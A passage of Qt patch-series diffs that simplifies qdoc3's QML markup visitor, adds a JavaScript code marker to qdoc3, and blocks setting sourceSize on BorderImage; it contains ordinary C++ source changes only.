QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LocalForStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForEachStatement *statement) { addMarkedUpToken(statement->forToken, QLatin1String("keyword")); @@ -951,11 +648,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForEachStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ForEachStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForEachStatement *statement) { addMarkedUpToken(statement->forToken, QLatin1String("keyword")); @@ -969,11 +661,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForEachStatement *stateme return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LocalForEachStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ContinueStatement *statement) { addMarkedUpToken(statement->continueToken, QLatin1String("keyword")); @@ -982,11 +669,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ContinueStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ContinueStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BreakStatement *statement) { addMarkedUpToken(statement->breakToken, QLatin1String("keyword")); @@ -995,36 +677,24 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BreakStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::BreakStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ReturnStatement *statement) { addMarkedUpToken(statement->returnToken, QLatin1String("keyword")); - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ReturnStatement *statement) -{ + QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->semicolonToken); + return false; } - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WithStatement *statement) { addMarkedUpToken(statement->withToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->rparenToken); - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::WithStatement *) -{ + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return false; } - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseBlock *block) { addVerbatim(block->lbraceToken); @@ -1047,19 +717,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::SwitchStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::SwitchStatement *statement) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClauses *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseClauses *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClause *clause) { addMarkedUpToken(clause->caseToken, QLatin1String("keyword")); @@ -1069,11 +726,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClause *clause) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseClause *clause) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DefaultClause *clause) { addMarkedUpToken(clause->defaultToken, QLatin1String("keyword")); @@ -1081,11 +733,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DefaultClause *clause) return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DefaultClause *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LabelledStatement *statement) { addMarkedUpToken(statement->identifierToken, QLatin1String("name")); @@ -1094,11 +741,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LabelledStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LabelledStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThrowStatement *statement) { addMarkedUpToken(statement->throwToken, QLatin1String("keyword")); @@ -1107,11 +749,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThrowStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ThrowStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Catch *c) { addMarkedUpToken(c->catchToken, QLatin1String("keyword")); @@ -1121,11 +758,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Catch *c) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Catch *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Finally *f) { addMarkedUpToken(f->finallyToken, QLatin1String("keyword")); @@ -1133,11 +765,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Finally *f) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Finally *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TryStatement *statement) { addMarkedUpToken(statement->tryToken, QLatin1String("keyword")); @@ -1147,11 +774,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TryStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TryStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionExpression *expression) { addMarkedUpToken(expression->functionToken, QLatin1String("keyword")); @@ -1165,10 +787,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionExpression *expression return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionExpression *expression) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionDeclaration *declaration) { addMarkedUpToken(declaration->functionToken, QLatin1String("keyword")); @@ -1182,10 +800,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionDeclaration *declarati return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionDeclaration *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FormalParameterList *list) { addVerbatim(list->commaToken); @@ -1193,19 +807,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FormalParameterList *list) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FormalParameterList *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionBody *body) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionBody *body) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DebuggerStatement *statement) { addVerbatim(statement->debuggerToken); @@ -1213,28 +814,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DebuggerStatement *statement) return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DebuggerStatement *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionSourceElement *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionSourceElement *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StatementSourceElement *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StatementSourceElement *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition) { QDeclarativeJS::AST::Node::accept(definition->qualifiedTypeNameId, this); @@ -1242,53 +821,4 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectDefinition *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiImportList *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiImportList *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectMemberList *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectMemberList *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiFormalList *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiFormalList *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Program *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Program *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::SourceElements *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::SourceElements *) -{ -} - QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlmarkupvisitor.h b/tools/qdoc3/qmlmarkupvisitor.h index 8177798..35f1b5bc 100644 --- a/tools/qdoc3/qmlmarkupvisitor.h +++ b/tools/qdoc3/qmlmarkupvisitor.h @@ -57,265 +57,96 @@ public: QString markedUpCode(); - virtual bool visit(QDeclarativeJS::AST::UiProgram *); - virtual bool visit(QDeclarativeJS::AST::UiImportList *); virtual bool visit(QDeclarativeJS::AST::UiImport *); + virtual void endVisit(QDeclarativeJS::AST::UiImport *); + virtual bool visit(QDeclarativeJS::AST::UiPublicMember *); - virtual bool visit(QDeclarativeJS::AST::UiSourceElement *); virtual bool visit(QDeclarativeJS::AST::UiObjectDefinition *); + virtual bool visit(QDeclarativeJS::AST::UiObjectInitializer *); + virtual void endVisit(QDeclarativeJS::AST::UiObjectInitializer *); + virtual bool visit(QDeclarativeJS::AST::UiObjectBinding *); virtual bool visit(QDeclarativeJS::AST::UiScriptBinding *); virtual bool visit(QDeclarativeJS::AST::UiArrayBinding *); - virtual bool visit(QDeclarativeJS::AST::UiObjectMemberList *); virtual bool visit(QDeclarativeJS::AST::UiArrayMemberList *); virtual bool visit(QDeclarativeJS::AST::UiQualifiedId *); - virtual bool visit(QDeclarativeJS::AST::UiSignature *); - virtual bool visit(QDeclarativeJS::AST::UiFormalList *); - virtual bool visit(QDeclarativeJS::AST::UiFormal *); - virtual void endVisit(QDeclarativeJS::AST::UiProgram *); - virtual void endVisit(QDeclarativeJS::AST::UiImportList *); - virtual void endVisit(QDeclarativeJS::AST::UiImport *); - virtual void endVisit(QDeclarativeJS::AST::UiPublicMember *); - virtual void endVisit(QDeclarativeJS::AST::UiSourceElement *); - virtual void endVisit(QDeclarativeJS::AST::UiObjectDefinition *); - virtual void endVisit(QDeclarativeJS::AST::UiObjectInitializer *); - virtual void endVisit(QDeclarativeJS::AST::UiObjectBinding *); - virtual void endVisit(QDeclarativeJS::AST::UiScriptBinding *); - virtual void endVisit(QDeclarativeJS::AST::UiArrayBinding *); - virtual void endVisit(QDeclarativeJS::AST::UiObjectMemberList *); - virtual void endVisit(QDeclarativeJS::AST::UiArrayMemberList *); - virtual void endVisit(QDeclarativeJS::AST::UiQualifiedId *); + virtual bool visit(QDeclarativeJS::AST::UiSignature *); virtual void endVisit(QDeclarativeJS::AST::UiSignature *); - virtual void endVisit(QDeclarativeJS::AST::UiFormalList *); - virtual void endVisit(QDeclarativeJS::AST::UiFormal *); - // QDeclarativeJS + virtual bool visit(QDeclarativeJS::AST::UiFormal *); virtual bool visit(QDeclarativeJS::AST::ThisExpression *); - virtual void endVisit(QDeclarativeJS::AST::ThisExpression *); - virtual bool visit(QDeclarativeJS::AST::IdentifierExpression *); - virtual void endVisit(QDeclarativeJS::AST::IdentifierExpression *); - virtual bool visit(QDeclarativeJS::AST::NullExpression *); - virtual void endVisit(QDeclarativeJS::AST::NullExpression *); - virtual bool visit(QDeclarativeJS::AST::TrueLiteral *); - virtual void endVisit(QDeclarativeJS::AST::TrueLiteral *); - virtual bool visit(QDeclarativeJS::AST::FalseLiteral *); - virtual void endVisit(QDeclarativeJS::AST::FalseLiteral *); - virtual bool visit(QDeclarativeJS::AST::NumericLiteral *); - virtual void endVisit(QDeclarativeJS::AST::NumericLiteral *); - virtual bool visit(QDeclarativeJS::AST::StringLiteral *); - virtual void endVisit(QDeclarativeJS::AST::StringLiteral *); - virtual bool visit(QDeclarativeJS::AST::RegExpLiteral *); - virtual void endVisit(QDeclarativeJS::AST::RegExpLiteral *); - virtual bool visit(QDeclarativeJS::AST::ArrayLiteral *); - virtual void endVisit(QDeclarativeJS::AST::ArrayLiteral *); virtual bool visit(QDeclarativeJS::AST::ObjectLiteral *); virtual void endVisit(QDeclarativeJS::AST::ObjectLiteral *); virtual bool visit(QDeclarativeJS::AST::ElementList *); - virtual void endVisit(QDeclarativeJS::AST::ElementList *); - virtual bool visit(QDeclarativeJS::AST::Elision *); - virtual void endVisit(QDeclarativeJS::AST::Elision *); - virtual bool visit(QDeclarativeJS::AST::PropertyNameAndValueList *); - virtual void endVisit(QDeclarativeJS::AST::PropertyNameAndValueList *); - - virtual bool visit(QDeclarativeJS::AST::NestedExpression *); - virtual void endVisit(QDeclarativeJS::AST::NestedExpression *); - - virtual bool visit(QDeclarativeJS::AST::IdentifierPropertyName *); - virtual void endVisit(QDeclarativeJS::AST::IdentifierPropertyName *); - - virtual bool visit(QDeclarativeJS::AST::StringLiteralPropertyName *); - virtual void endVisit(QDeclarativeJS::AST::StringLiteralPropertyName *); - - virtual bool visit(QDeclarativeJS::AST::NumericLiteralPropertyName *); - virtual void endVisit(QDeclarativeJS::AST::NumericLiteralPropertyName *); - virtual bool visit(QDeclarativeJS::AST::ArrayMemberExpression *); - virtual void endVisit(QDeclarativeJS::AST::ArrayMemberExpression *); - virtual bool visit(QDeclarativeJS::AST::FieldMemberExpression *); - virtual void endVisit(QDeclarativeJS::AST::FieldMemberExpression *); - virtual bool visit(QDeclarativeJS::AST::NewMemberExpression *); - virtual void endVisit(QDeclarativeJS::AST::NewMemberExpression *); - virtual bool visit(QDeclarativeJS::AST::NewExpression *); - virtual void endVisit(QDeclarativeJS::AST::NewExpression *); - - virtual bool visit(QDeclarativeJS::AST::CallExpression *); - virtual void endVisit(QDeclarativeJS::AST::CallExpression *); - virtual bool visit(QDeclarativeJS::AST::ArgumentList *); - virtual void endVisit(QDeclarativeJS::AST::ArgumentList *); - virtual bool visit(QDeclarativeJS::AST::PostIncrementExpression *); - virtual void endVisit(QDeclarativeJS::AST::PostIncrementExpression *); - virtual bool visit(QDeclarativeJS::AST::PostDecrementExpression *); - virtual void endVisit(QDeclarativeJS::AST::PostDecrementExpression *); - virtual bool visit(QDeclarativeJS::AST::DeleteExpression *); - virtual void endVisit(QDeclarativeJS::AST::DeleteExpression *); - virtual bool visit(QDeclarativeJS::AST::VoidExpression *); - virtual void endVisit(QDeclarativeJS::AST::VoidExpression *); - virtual bool visit(QDeclarativeJS::AST::TypeOfExpression *); - virtual void endVisit(QDeclarativeJS::AST::TypeOfExpression *); - virtual bool visit(QDeclarativeJS::AST::PreIncrementExpression *); - virtual void endVisit(QDeclarativeJS::AST::PreIncrementExpression *); - virtual bool visit(QDeclarativeJS::AST::PreDecrementExpression *); - virtual void endVisit(QDeclarativeJS::AST::PreDecrementExpression *); - virtual bool visit(QDeclarativeJS::AST::UnaryPlusExpression *); - virtual void endVisit(QDeclarativeJS::AST::UnaryPlusExpression *); - virtual bool visit(QDeclarativeJS::AST::UnaryMinusExpression *); - virtual void endVisit(QDeclarativeJS::AST::UnaryMinusExpression *); - virtual bool visit(QDeclarativeJS::AST::TildeExpression *); - virtual void endVisit(QDeclarativeJS::AST::TildeExpression *); - virtual bool visit(QDeclarativeJS::AST::NotExpression *); - virtual void endVisit(QDeclarativeJS::AST::NotExpression *); - virtual bool visit(QDeclarativeJS::AST::BinaryExpression *); - virtual void endVisit(QDeclarativeJS::AST::BinaryExpression *); - virtual bool visit(QDeclarativeJS::AST::ConditionalExpression *); - virtual void endVisit(QDeclarativeJS::AST::ConditionalExpression *); - virtual bool visit(QDeclarativeJS::AST::Expression *); - virtual void endVisit(QDeclarativeJS::AST::Expression *); virtual bool visit(QDeclarativeJS::AST::Block *); virtual void endVisit(QDeclarativeJS::AST::Block *); - virtual bool visit(QDeclarativeJS::AST::StatementList *); - virtual void endVisit(QDeclarativeJS::AST::StatementList *); - virtual bool visit(QDeclarativeJS::AST::VariableStatement *); - virtual void endVisit(QDeclarativeJS::AST::VariableStatement *); - virtual bool visit(QDeclarativeJS::AST::VariableDeclarationList *); - virtual void endVisit(QDeclarativeJS::AST::VariableDeclarationList *); - virtual bool visit(QDeclarativeJS::AST::VariableDeclaration *); - virtual void endVisit(QDeclarativeJS::AST::VariableDeclaration *); - virtual bool visit(QDeclarativeJS::AST::EmptyStatement *); - virtual void endVisit(QDeclarativeJS::AST::EmptyStatement *); - virtual bool visit(QDeclarativeJS::AST::ExpressionStatement *); - virtual void endVisit(QDeclarativeJS::AST::ExpressionStatement *); - virtual bool visit(QDeclarativeJS::AST::IfStatement *); - virtual void endVisit(QDeclarativeJS::AST::IfStatement *); - virtual bool visit(QDeclarativeJS::AST::DoWhileStatement *); - virtual void endVisit(QDeclarativeJS::AST::DoWhileStatement *); - virtual bool visit(QDeclarativeJS::AST::WhileStatement *); - virtual void endVisit(QDeclarativeJS::AST::WhileStatement *); - virtual bool visit(QDeclarativeJS::AST::ForStatement *); - virtual void endVisit(QDeclarativeJS::AST::ForStatement *); - virtual bool visit(QDeclarativeJS::AST::LocalForStatement *); - virtual void endVisit(QDeclarativeJS::AST::LocalForStatement *); - virtual bool visit(QDeclarativeJS::AST::ForEachStatement *); - virtual void endVisit(QDeclarativeJS::AST::ForEachStatement *); - virtual bool visit(QDeclarativeJS::AST::LocalForEachStatement *); - virtual void endVisit(QDeclarativeJS::AST::LocalForEachStatement *); - virtual bool visit(QDeclarativeJS::AST::ContinueStatement *); - virtual void endVisit(QDeclarativeJS::AST::ContinueStatement *); - virtual bool visit(QDeclarativeJS::AST::BreakStatement *); - virtual void endVisit(QDeclarativeJS::AST::BreakStatement *); - virtual bool visit(QDeclarativeJS::AST::ReturnStatement *); - virtual void endVisit(QDeclarativeJS::AST::ReturnStatement *); - virtual bool visit(QDeclarativeJS::AST::WithStatement *); - virtual void endVisit(QDeclarativeJS::AST::WithStatement *); virtual bool visit(QDeclarativeJS::AST::CaseBlock *); virtual void endVisit(QDeclarativeJS::AST::CaseBlock *); virtual bool visit(QDeclarativeJS::AST::SwitchStatement *); - virtual void endVisit(QDeclarativeJS::AST::SwitchStatement *); - - virtual bool visit(QDeclarativeJS::AST::CaseClauses *); - virtual void endVisit(QDeclarativeJS::AST::CaseClauses *); - virtual bool visit(QDeclarativeJS::AST::CaseClause *); - virtual void endVisit(QDeclarativeJS::AST::CaseClause *); - virtual bool visit(QDeclarativeJS::AST::DefaultClause *); - virtual void endVisit(QDeclarativeJS::AST::DefaultClause *); - virtual bool visit(QDeclarativeJS::AST::LabelledStatement *); - virtual void endVisit(QDeclarativeJS::AST::LabelledStatement *); - virtual bool visit(QDeclarativeJS::AST::ThrowStatement *); - virtual void endVisit(QDeclarativeJS::AST::ThrowStatement *); - virtual bool visit(QDeclarativeJS::AST::TryStatement *); - virtual void endVisit(QDeclarativeJS::AST::TryStatement *); - virtual bool visit(QDeclarativeJS::AST::Catch *); - virtual void endVisit(QDeclarativeJS::AST::Catch *); - virtual bool visit(QDeclarativeJS::AST::Finally *); - virtual void endVisit(QDeclarativeJS::AST::Finally *); - virtual bool visit(QDeclarativeJS::AST::FunctionDeclaration *); - virtual void endVisit(QDeclarativeJS::AST::FunctionDeclaration *); - virtual bool visit(QDeclarativeJS::AST::FunctionExpression *); - virtual void endVisit(QDeclarativeJS::AST::FunctionExpression *); - virtual bool visit(QDeclarativeJS::AST::FormalParameterList *); - virtual void endVisit(QDeclarativeJS::AST::FormalParameterList *); - - virtual bool visit(QDeclarativeJS::AST::FunctionBody *); - virtual void endVisit(QDeclarativeJS::AST::FunctionBody *); - - virtual bool visit(QDeclarativeJS::AST::Program *); - virtual void endVisit(QDeclarativeJS::AST::Program *); - - virtual bool visit(QDeclarativeJS::AST::SourceElements *); - virtual void endVisit(QDeclarativeJS::AST::SourceElements *); - - virtual bool visit(QDeclarativeJS::AST::FunctionSourceElement *); - virtual void endVisit(QDeclarativeJS::AST::FunctionSourceElement *); - - virtual bool visit(QDeclarativeJS::AST::StatementSourceElement *); - virtual void endVisit(QDeclarativeJS::AST::StatementSourceElement *); - virtual bool visit(QDeclarativeJS::AST::DebuggerStatement *); - virtual void endVisit(QDeclarativeJS::AST::DebuggerStatement *); - - virtual bool visit(QDeclarativeJS::AST::UiParameterList *); - virtual void endVisit(QDeclarativeJS::AST::UiParameterList *); protected: QString protect(const QString &string); @@ -333,8 +164,6 @@ private: QString output; quint32 cursor; quint32 commentIndex; - int indent; - QString debug; }; QT_END_NAMESPACE -- cgit v0.12 From 3773bf874b3c9bd8b5a01984091768481c7b4e65 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 2 Dec 2010 20:37:52 +0100 Subject: Added a specialized version of the QML code marker for JavaScript files. --- tools/qdoc3/jscodemarker.cpp | 129 +++++++++++++++++++++++++++++++++++++++++++ tools/qdoc3/jscodemarker.h | 74 +++++++++++++++++++++++++ tools/qdoc3/main.cpp | 2 + tools/qdoc3/qdoc3.pro | 2 + 4 files changed, 207 insertions(+) create mode 100644 tools/qdoc3/jscodemarker.cpp create mode 100644 tools/qdoc3/jscodemarker.h diff --git a/tools/qdoc3/jscodemarker.cpp b/tools/qdoc3/jscodemarker.cpp new file mode 100644 index 0000000..e3a0ff1 --- /dev/null +++ b/tools/qdoc3/jscodemarker.cpp @@ -0,0 +1,129 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + jscodemarker.cpp +*/ + +#include "private/qdeclarativejsast_p.h" +#include "private/qdeclarativejsengine_p.h" +#include "private/qdeclarativejslexer_p.h" +#include "private/qdeclarativejsnodepool_p.h" +#include "private/qdeclarativejsparser_p.h" + +#include "atom.h" +#include "node.h" +#include "jscodemarker.h" +#include "qmlmarkupvisitor.h" +#include "text.h" +#include "tree.h" + +QT_BEGIN_NAMESPACE + +JsCodeMarker::JsCodeMarker() +{ +} + +JsCodeMarker::~JsCodeMarker() +{ +} + +/*! + Returns true if the \a code is recognized by the parser. + */ +bool JsCodeMarker::recognizeCode(const QString &code) +{ + QDeclarativeJS::Engine engine; + QDeclarativeJS::Lexer lexer(&engine); + QDeclarativeJS::Parser parser(&engine); + QDeclarativeJS::NodePool m_nodePool("", &engine); + lexer.setCode(code, 1); + + return parser.parseProgram(); +} + +/*! + Returns true if \a ext is any of a list of file extensions + for the QML language. + */ +bool JsCodeMarker::recognizeExtension(const QString &ext) +{ + return ext == "js"; +} + +/*! + Returns true if the \a language is recognized. Only "QML" is + recognized by this marker. + */ +bool JsCodeMarker::recognizeLanguage(const QString &language) +{ + return language == "JavaScript" || language == "ECMAScript"; +} + +QString JsCodeMarker::markedUpCode(const QString &code, + const Node *relative, + const QString &dirPath) +{ + return addMarkUp(code, relative, dirPath); +} + +QString JsCodeMarker::addMarkUp(const QString &code, + const Node * /* relative */, + const QString &dirPath) +{ + QDeclarativeJS::Engine engine; + QDeclarativeJS::Lexer lexer(&engine); + lexer.setCode(code, 1); + + QDeclarativeJS::Parser parser(&engine); + QDeclarativeJS::NodePool m_nodePool("", &engine); + QString output; + + if (parser.parseProgram()) { + QDeclarativeJS::AST::Node *ast = parser.rootNode(); + QmlMarkupVisitor visitor(code, &engine); + QDeclarativeJS::AST::Node::accept(ast, &visitor); + output = visitor.markedUpCode(); + } + return output; +} + +QT_END_NAMESPACE diff --git a/tools/qdoc3/jscodemarker.h b/tools/qdoc3/jscodemarker.h new file mode 100644 index 0000000..f7cb025 --- /dev/null +++ b/tools/qdoc3/jscodemarker.h @@ -0,0 +1,74 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + jscodemarker.h +*/ + +#ifndef JSCODEMARKER_H +#define JSCODEMARKER_H + +#include "qmlcodemarker.h" + +QT_BEGIN_NAMESPACE + +class JsCodeMarker : public QmlCodeMarker +{ +public: + JsCodeMarker(); + ~JsCodeMarker(); + + virtual bool recognizeCode(const QString &code); + virtual bool recognizeExtension(const QString &ext); + virtual bool recognizeLanguage(const QString &language); + + virtual QString markedUpCode(const QString &code, + const Node *relative, + const QString &dirPath); + +private: + QString addMarkUp(const QString &code, const Node * /* relative */, + const QString & /* dirPath */); +}; + +QT_END_NAMESPACE + +#endif diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp index 68b5370..782df39 100644 --- a/tools/qdoc3/main.cpp +++ b/tools/qdoc3/main.cpp @@ -53,6 +53,7 @@ #include "ditaxmlgenerator.h" #include "doc.h" #include "htmlgenerator.h" +#include "jscodemarker.h" #include "plaincodemarker.h" #include "puredocparser.h" #include "qmlcodemarker.h" @@ -368,6 +369,7 @@ int main(int argc, char **argv) */ PlainCodeMarker plainMarker; CppCodeMarker cppMarker; + JsCodeMarker jsMarker; QmlCodeMarker qmlMarker; HtmlGenerator htmlGenerator; diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro index 23ff7bd..4bc6bca 100644 --- a/tools/qdoc3/qdoc3.pro +++ b/tools/qdoc3/qdoc3.pro @@ -37,6 +37,7 @@ HEADERS += atom.h \ generator.h \ helpprojectwriter.h \ htmlgenerator.h \ + jscodemarker.h \ location.h \ node.h \ openedlist.h \ @@ -66,6 +67,7 @@ SOURCES += atom.cpp \ generator.cpp \ helpprojectwriter.cpp \ htmlgenerator.cpp \ + jscodemarker.cpp \ location.cpp \ main.cpp \ node.cpp \ -- cgit v0.12 From b02cf26c0c236679439826cb8093f6dd6d3b2fec Mon Sep 17 00:00:00 2001 From: Christopher Ham Date: Fri, 3 Dec 2010 16:20:58 +1000 Subject: borderImage should not support setting sourceSize SIGNAL sourceSizeChanged is properly called. Setting the sourceSize for borderImage in QML returns a warning. Auto tests were added to check that sourceSize remains consistent. Reviewed-by: Joona Petrell --- src/declarative/graphicsitems/qdeclarativeborderimage.cpp | 10 ++++++++++ src/declarative/graphicsitems/qdeclarativeborderimage_p.h | 2 ++ .../qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp | 4 ++++ 3 files changed, 16 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp index c770a85..0bf09ad 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp @@ -246,6 +246,12 @@ void QDeclarativeBorderImage::setSource(const QUrl &url) load(); } +void QDeclarativeBorderImage::setSourceSize(const QSize& size) +{ + Q_UNUSED(size); + qmlInfo(this) << "Setting sourceSize for borderImage not supported"; +} + void QDeclarativeBorderImage::load() { Q_D(QDeclarativeBorderImage); @@ -315,6 +321,7 @@ void QDeclarativeBorderImage::load() d->progress = 1.0; emit statusChanged(d->status); emit progressChanged(d->progress); + requestFinished(); update(); } } @@ -475,6 +482,9 @@ void QDeclarativeBorderImage::requestFinished() setImplicitWidth(impsize.width()); setImplicitHeight(impsize.height()); + if (d->sourcesize.width() != d->pix.width() || d->sourcesize.height() != d->pix.height()) + emit sourceSizeChanged(); + d->progress = 1.0; emit statusChanged(d->status); emit progressChanged(1.0); diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage_p.h b/src/declarative/graphicsitems/qdeclarativeborderimage_p.h index 9944cbe..7cf24f2 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage_p.h +++ b/src/declarative/graphicsitems/qdeclarativeborderimage_p.h @@ -80,6 +80,8 @@ public: void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *); void setSource(const QUrl &url); + void setSourceSize(const QSize&); + Q_SIGNALS: void horizontalTileModeChanged(); void verticalTileModeChanged(); diff --git 